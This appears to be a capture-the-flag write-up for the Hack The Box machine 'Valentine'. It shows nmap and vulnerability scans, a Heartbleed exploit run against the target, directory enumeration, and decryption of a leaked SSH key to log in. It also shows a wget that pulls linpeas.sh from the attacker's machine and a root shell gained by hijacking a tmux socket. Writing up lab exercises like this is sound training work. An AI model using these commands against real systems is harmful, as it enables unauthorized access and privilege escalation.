# Nmap 7.91 scan initiated Fri Feb 12 10:55:36 2021 as: nmap -Pn -sCV -p22,80,443 -oN nmap/Basic_10.10.10.79.nmap 10.10.10.79 Nmap scan report for 10.10.10.79 Host is up (0.21s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA) | 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA) |_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US | Not valid before: 2018-02-06T00:45:25 |_Not valid after: 2019-02-06T00:45:25 |_ssl-date: 2021-02-12T16:01:57+00:00; +5m56s from scanner time. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results: |_clock-skew: 5m55s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Feb 12 10:56:03 2021 -- 1 IP address (1 host up) scanned in 26.55 seconds
The system is running OpenSSH, Apache http/sll server. Running a background check for known vulnerabilites.
Opening up the browser to check for more details.
Interesting!
The vulnerability scanner has also finished running.
└─$ cat Vulns_10.10.10.79.nmap # Nmap 7.91 scan initiated Fri Feb 12 11:00:49 2021 as: nmap -Pn -sV --script vuln -p22,80,443 -oN nmap/Vulns_10.10.10.79.nmap 10.10.10.79 Nmap scan report for 10.10.10.79 Host is up (0.21s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) | vulners: | cpe:/a:openbsd:openssh:5.9p1: | EDB-ID:40888 7.8 https://vulners.com/exploitdb/EDB-ID:40888 *EXPLOIT* | EDB-ID:41173 7.2 https://vulners.com/exploitdb/EDB-ID:41173 *EXPLOIT* | SSV:60656 5.0 https://vulners.com/seebug/SSV:60656 *EXPLOIT* | CVE-2018-15919 5.0 https://vulners.com/cve/CVE-2018-15919 | CVE-2017-15906 5.0 https://vulners.com/cve/CVE-2017-15906 | CVE-2010-5107 5.0 https://vulners.com/cve/CVE-2010-5107 | SSV:90447 4.6 https://vulners.com/seebug/SSV:90447 *EXPLOIT* | EDB-ID:45233 4.6 https://vulners.com/exploitdb/EDB-ID:45233 *EXPLOIT* | EDB-ID:45210 4.6 https://vulners.com/exploitdb/EDB-ID:45210 *EXPLOIT* | EDB-ID:45001 4.6 https://vulners.com/exploitdb/EDB-ID:45001 *EXPLOIT* | EDB-ID:45000 4.6 https://vulners.com/exploitdb/EDB-ID:45000 *EXPLOIT* | EDB-ID:40963 4.6 https://vulners.com/exploitdb/EDB-ID:40963 *EXPLOIT* | EDB-ID:40962 4.6 https://vulners.com/exploitdb/EDB-ID:40962 *EXPLOIT* | CVE-2016-0778 4.6 https://vulners.com/cve/CVE-2016-0778 | CVE-2020-14145 4.3 https://vulners.com/cve/CVE-2020-14145 |_ CVE-2016-0777 4.0 https://vulners.com/cve/CVE-2016-0777 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: | /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)' |_ /index/: Potentially interesting folder |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) | vulners: | cpe:/a:apache:http_server:2.2.22: | SSV:60913 7.5 https://vulners.com/seebug/SSV:60913 *EXPLOIT* | CVE-2017-7679 7.5 https://vulners.com/cve/CVE-2017-7679 | CVE-2017-7668 7.5 https://vulners.com/cve/CVE-2017-7668 | CVE-2017-3169 7.5 https://vulners.com/cve/CVE-2017-3169 | CVE-2017-3167 7.5 https://vulners.com/cve/CVE-2017-3167 | CVE-2013-2249 7.5 https://vulners.com/cve/CVE-2013-2249 | CVE-2018-1312 6.8 https://vulners.com/cve/CVE-2018-1312 | CVE-2017-9788 6.4 https://vulners.com/cve/CVE-2017-9788 | SSV:60788 5.1 https://vulners.com/seebug/SSV:60788 *EXPLOIT* | CVE-2013-1862 5.1 https://vulners.com/cve/CVE-2013-1862 | SSV:96537 5.0 https://vulners.com/seebug/SSV:96537 *EXPLOIT* | SSV:62058 5.0 https://vulners.com/seebug/SSV:62058 *EXPLOIT* | SSV:61874 5.0 https://vulners.com/seebug/SSV:61874 *EXPLOIT* | MSF:AUXILIARY/SCANNER/HTTP/APACHE_OPTIONSBLEED 5.0 https://vulners.com/metasploit/MSF:AUXILIARY/SCANNER/HTTP/APACHE_OPTIONSBLEED *EXPLOIT* | EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D 5.0 https://vulners.com/exploitpack/EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D *EXPLOIT* | CVE-2017-9798 5.0 https://vulners.com/cve/CVE-2017-9798 | CVE-2014-0231 5.0 https://vulners.com/cve/CVE-2014-0231 | CVE-2014-0098 5.0 https://vulners.com/cve/CVE-2014-0098 | CVE-2013-6438 5.0 https://vulners.com/cve/CVE-2013-6438 | CVE-2013-5704 5.0 https://vulners.com/cve/CVE-2013-5704 | 1337DAY-ID-28573 5.0 https://vulners.com/zdt/1337DAY-ID-28573 *EXPLOIT* | SSV:60905 4.3 https://vulners.com/seebug/SSV:60905 *EXPLOIT* | SSV:60657 4.3 https://vulners.com/seebug/SSV:60657 *EXPLOIT* | SSV:60653 4.3 https://vulners.com/seebug/SSV:60653 *EXPLOIT* | SSV:60345 4.3 https://vulners.com/seebug/SSV:60345 *EXPLOIT* | CVE-2016-4975 4.3 https://vulners.com/cve/CVE-2016-4975 | CVE-2013-1896 4.3 https://vulners.com/cve/CVE-2013-1896 | CVE-2012-4558 4.3 https://vulners.com/cve/CVE-2012-4558 | CVE-2012-3499 4.3 https://vulners.com/cve/CVE-2012-3499 | CVE-2012-2687 2.6 https://vulners.com/cve/CVE-2012-2687 |_ EDB-ID:42745 0.0 https://vulners.com/exploitdb/EDB-ID:42745 *EXPLOIT* 443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu)) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | ssl-ccs-injection: | VULNERABLE: | SSL/TLS MITM vulnerability (CCS Injection) | State: VULNERABLE | Risk factor: High | OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h | does not properly restrict processing of ChangeCipherSpec messages, | which allows man-in-the-middle attackers to trigger use of a zero | length master key in certain OpenSSL-to-OpenSSL communications, and | consequently hijack sessions or obtain sensitive information, via | a crafted TLS handshake, aka the "CCS Injection" vulnerability. | | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224 | http://www.cvedetails.com/cve/2014-0224 |_ http://www.openssl.org/news/secadv_20140605.txt | ssl-heartbleed: | VULNERABLE: | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption. | State: VULNERABLE | Risk factor: High | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves. | | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 | http://www.openssl.org/news/secadv_20140407.txt |_ http://cvedetails.com/cve/2014-0160/ | ssl-poodle: | VULNERABLE: | SSL POODLE information leak | State: VULNERABLE | IDs: CVE:CVE-2014-3566 BID:70574 | The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other | products, uses nondeterministic CBC padding, which makes it easier | for man-in-the-middle attackers to obtain cleartext data via a | padding-oracle attack, aka the "POODLE" issue. | Disclosure date: 2014-10-14 | Check results: | TLS_RSA_WITH_AES_128_CBC_SHA | References: | https://www.imperialviolet.org/2014/10/14/poodle.html | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566 | https://www.openssl.org/~bodo/ssl-poodle.pdf |_ https://www.securityfocus.com/bid/70574 |_sslv2-drown: | vulners: | cpe:/a:apache:http_server:2.2.22: | SSV:60913 7.5 https://vulners.com/seebug/SSV:60913 *EXPLOIT* | CVE-2017-7679 7.5 https://vulners.com/cve/CVE-2017-7679 | CVE-2017-7668 7.5 https://vulners.com/cve/CVE-2017-7668 | CVE-2017-3169 7.5 https://vulners.com/cve/CVE-2017-3169 | CVE-2017-3167 7.5 https://vulners.com/cve/CVE-2017-3167 | CVE-2013-2249 7.5 https://vulners.com/cve/CVE-2013-2249 | CVE-2018-1312 6.8 https://vulners.com/cve/CVE-2018-1312 | CVE-2017-9788 6.4 https://vulners.com/cve/CVE-2017-9788 | SSV:60788 5.1 https://vulners.com/seebug/SSV:60788 *EXPLOIT* | CVE-2013-1862 5.1 https://vulners.com/cve/CVE-2013-1862 | SSV:96537 5.0 https://vulners.com/seebug/SSV:96537 *EXPLOIT* | SSV:62058 5.0 https://vulners.com/seebug/SSV:62058 *EXPLOIT* | SSV:61874 5.0 https://vulners.com/seebug/SSV:61874 *EXPLOIT* | MSF:AUXILIARY/SCANNER/HTTP/APACHE_OPTIONSBLEED 5.0 https://vulners.com/metasploit/MSF:AUXILIARY/SCANNER/HTTP/APACHE_OPTIONSBLEED *EXPLOIT* | EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D 5.0 https://vulners.com/exploitpack/EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D *EXPLOIT* | CVE-2017-9798 5.0 https://vulners.com/cve/CVE-2017-9798 | CVE-2014-0231 5.0 https://vulners.com/cve/CVE-2014-0231 | CVE-2014-0098 5.0 https://vulners.com/cve/CVE-2014-0098 | CVE-2013-6438 5.0 https://vulners.com/cve/CVE-2013-6438 | CVE-2013-5704 5.0 https://vulners.com/cve/CVE-2013-5704 | 1337DAY-ID-28573 5.0 https://vulners.com/zdt/1337DAY-ID-28573 *EXPLOIT* | SSV:60905 4.3 https://vulners.com/seebug/SSV:60905 *EXPLOIT* | SSV:60657 4.3 https://vulners.com/seebug/SSV:60657 *EXPLOIT* | SSV:60653 4.3 https://vulners.com/seebug/SSV:60653 *EXPLOIT* | SSV:60345 4.3 https://vulners.com/seebug/SSV:60345 *EXPLOIT* | CVE-2016-4975 4.3 https://vulners.com/cve/CVE-2016-4975 | CVE-2013-1896 4.3 https://vulners.com/cve/CVE-2013-1896 | CVE-2012-4558 4.3 https://vulners.com/cve/CVE-2012-4558 | CVE-2012-3499 4.3 https://vulners.com/cve/CVE-2012-3499 | CVE-2012-2687 2.6 https://vulners.com/cve/CVE-2012-2687 |_ EDB-ID:42745 0.0 https://vulners.com/exploitdb/EDB-ID:42745 *EXPLOIT* Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Feb 12 11:01:51 2021 -- 1 IP address (1 host up) scanned in 62.74 seconds
From the scan it’s clear that that the system is vulnerable to heartbleed vulnerability.
Using the heartbleed bug to steal the information from the system. I am using this exploit.
defribulator v1.20 A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)
################################################################## Connecting to: 10.10.10.79:443, 1 times Sending Client Hello for TLSv1.0 Analyze the result.... Analyze the result.... Analyze the result.... Analyze the result.... Received Server Hello for TLSv1.0 Analyze the result....
WARNING: 10.10.10.79:443 returned more data than it should - server is vulnerable! Please wait... connection attempt 1 of 1 ##################################################################
┌──(kali㉿kali)-[~/HackTheBox/Valentine/exploit/heartbleed-vuln] └─$ dirb http://10.10.10.79 ----------------- DIRB v2.22 By The Dark Raver -----------------
START_TIME: Sat Feb 13 12:12:36 2021 URL_BASE: http://10.10.10.79/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.79/ ---- + http://10.10.10.79/cgi-bin/ (CODE:403|SIZE:287) + http://10.10.10.79/decode (CODE:200|SIZE:552) ==> DIRECTORY: http://10.10.10.79/dev/ + http://10.10.10.79/encode (CODE:200|SIZE:554) + http://10.10.10.79/index (CODE:200|SIZE:38) + http://10.10.10.79/index.php (CODE:200|SIZE:38) + http://10.10.10.79/server-status (CODE:403|SIZE:292) ---- Entering directory: http://10.10.10.79/dev/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w'if you want to scan it anyway) ----------------- END_TIME: Sat Feb 13 12:28:29 2021 DOWNLOADED: 4612 - FOUND: 6
Dirb found a directory /dev/ . The contents in the hype.key looks interesting, all values are in hex. Coping the values and changing it to binary + plain hexdump.
Tried to run this as a key to ssh, but was not getting authenticated. After searching for bit, a solution came up. The key was encrypted using openssl, on decrypting it the actual RSA key can be retrieved.
Just got an rsa key, let’s login and get the user flag. It’s clear that the login username is not valentine.
Using the useranme hype,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(kali㉿kali)-[~/HackTheBox/Valentine/exploit] └─$ ssh -i id_key hype@10.10.10.79 load pubkey "id_key": invalid format Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)
* Documentation: https://help.ubuntu.com/
New release '14.04.5 LTS' available. Run 'do-release-upgrade' to upgrade to it.
Last login: Sat Feb 13 01:32:49 2021 from 10.10.14.22 hype@Valentine:~$ cat ~/Desktop/user.txt
Got the user flag.
The system is running an old verison of Linux. A search for known exploits landed me into the kernalpop repo. This repo contains a list of PrivEsc methods.
Tried out all the attacks mentioned in the tool. Didn’t get the root shell.
There is a LinPEAS module to check for possible Privilage Escalation methods. Tying it out.
hype@Valentine:~$ wget http://10.10.14.22/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh --2021-02-13 10:05:39-- http://10.10.14.22/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh Connecting to 10.10.14.22:80... failed: Connection refused. hype@Valentine:~$ wget http://10.10.14.22:8000/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh --2021-02-13 10:06:00-- http://10.10.14.22:8000/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh Connecting to 10.10.14.22:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 325084 (317K) [text/x-sh] Saving to: `linpeas.sh'
100%[=================================================================================================================================================================================================>] 325,084 308K/s in 1.0s
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist LEGEND: RED/YELLOW: 95% a PE vector RED: You must take a look at it LightCyan: Users with console Blue: Users without console & mounted devs Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) LightMangeta: Your username
Starting linpeas. Caching Writable Folders...
It’s clear that terminal multiplexer can run with sudo permission. Let’s run it and get the root flag.
1 2 3 4 5 6 7 8 9 10
tmux -S /.devs/dev_sess
root@Valentine:/home/hype# whoami root root@Valentine:/home/hype# cd /root/ root@Valentine:~# ls curl.sh root.txt root@Valentine:~# cat root.txt
And that is how I solved Valentine box.
I did try to solve the box using Dirty Cow, but that didn’t work. The kernal version is vulnerable to that exploit.